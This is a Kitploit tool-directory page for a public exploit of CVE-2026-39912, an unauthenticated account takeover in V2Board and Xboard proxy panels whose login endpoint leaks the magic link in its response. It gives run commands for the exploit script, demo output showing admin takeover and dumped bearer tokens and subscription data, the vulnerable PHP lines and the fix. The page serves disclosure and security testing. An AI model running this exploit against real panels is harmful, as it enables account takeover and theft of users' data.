Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39912 — Xboard / V2Board Unauth Account Takeover - Magic Link Token Leak (CVE-2026-39912) | Kitploit
Tools/GitHubGitHub/chocapikk/cve-2026-39912
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAuthentication
GitHubchocapikk/cve-2026-39912

CVE-2026-39912

Xboard / V2Board Unauth Account Takeover - Magic Link Token Leak (CVE-2026-39912)

View Repository
215 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2026-39912 - Xboard / V2Board Unauth Account Takeover

Magic Link Token Leak in loginWithMailLink

CVECVE-2026-39912
CVSS9.1 (Critical)
CWECWE-201 (Insertion of Sensitive Information Into Sent Data)
AffectedV2Board >= 1.6.1 through 1.7.4 / Xboard all versions through 0.1.9+
FixedNot yet (V2Board abandoned since June 2023)
Disclosed2026-04-09
CreditValentin Lobstein (Chocapikk)
Writeupchocapikk.com
Fix PRsV2Board #981 / Xboard #873

TL;DR

The loginWithMailLink endpoint returns the magic login link directly in the HTTP response body instead of only sending it via email. An unauthenticated attacker who knows a registered email can take over any account - including admin - in two HTTP requests.

Affected Software

  • V2Board - Open-source proxy protocol management panel (8.7k stars, abandoned)
  • Xboard - Fork of V2Board (4k+ stars, actively maintained)

Both are widely deployed VPN/proxy panels, primarily in China. ZoomEye shows 7,000+ instances exposed on the internet.

Requirements

  • login_with_mail_link_enable must be enabled in admin settings (not enabled by default)
  • A valid registered email address

Usage

root@kitploit:~
# Install dependencies
pip install requests

# Account takeover + data dump
python3 exploit.py http://target:7001 [email protected]

# Save dump to file
python3 exploit.py http://target:7001 [email protected] -o dump.json

Demo

root@kitploit:~
$ python3 exploit.py http://target:7001 [email protected]

 Xboard / V2Board - Unauth Account Takeover
 Magic Link Token Leak (CVE-2026-39912) | by Choc
 V2Board >= 1.6.1 | Xboard <= 0.1.9+
 45 min from git clone to is_admin: true

[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK

{
  "auth": {
    "auth_data": "Bearer qCU2d9hS...",
    "is_admin": true
  },
  "dump": {
    "User Info": {
      "email": "[email protected]",
      "uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
      ...
    },
    "Subscription": {
      "subscribe_url": "http://target:7001/s/324396af...",
      ...
    },
    "Active Sessions": [ ... ]
  }
}

The Bug

V2Board (app/Http/Controllers/Passport/AuthController.php):

root@kitploit:~
SendEmailJob::dispatch([...]);

return response([
    'data' => $link   // Token leaked to caller
]);

Xboard (app/Services/Auth/MailLinkService.php):

root@kitploit:~
$this->sendMailLinkEmail($user, $link);

return [true, $link]; // Same bug, inherited from fork

The Fix

root@kitploit:~
- return [true, $link];
+ return [true, true];

References

  • V2Board - Vulnerable code (line 71)
  • Xboard - Vulnerable code (line 49)
  • Original commit introducing the bug (2022-06-27)
Download Tool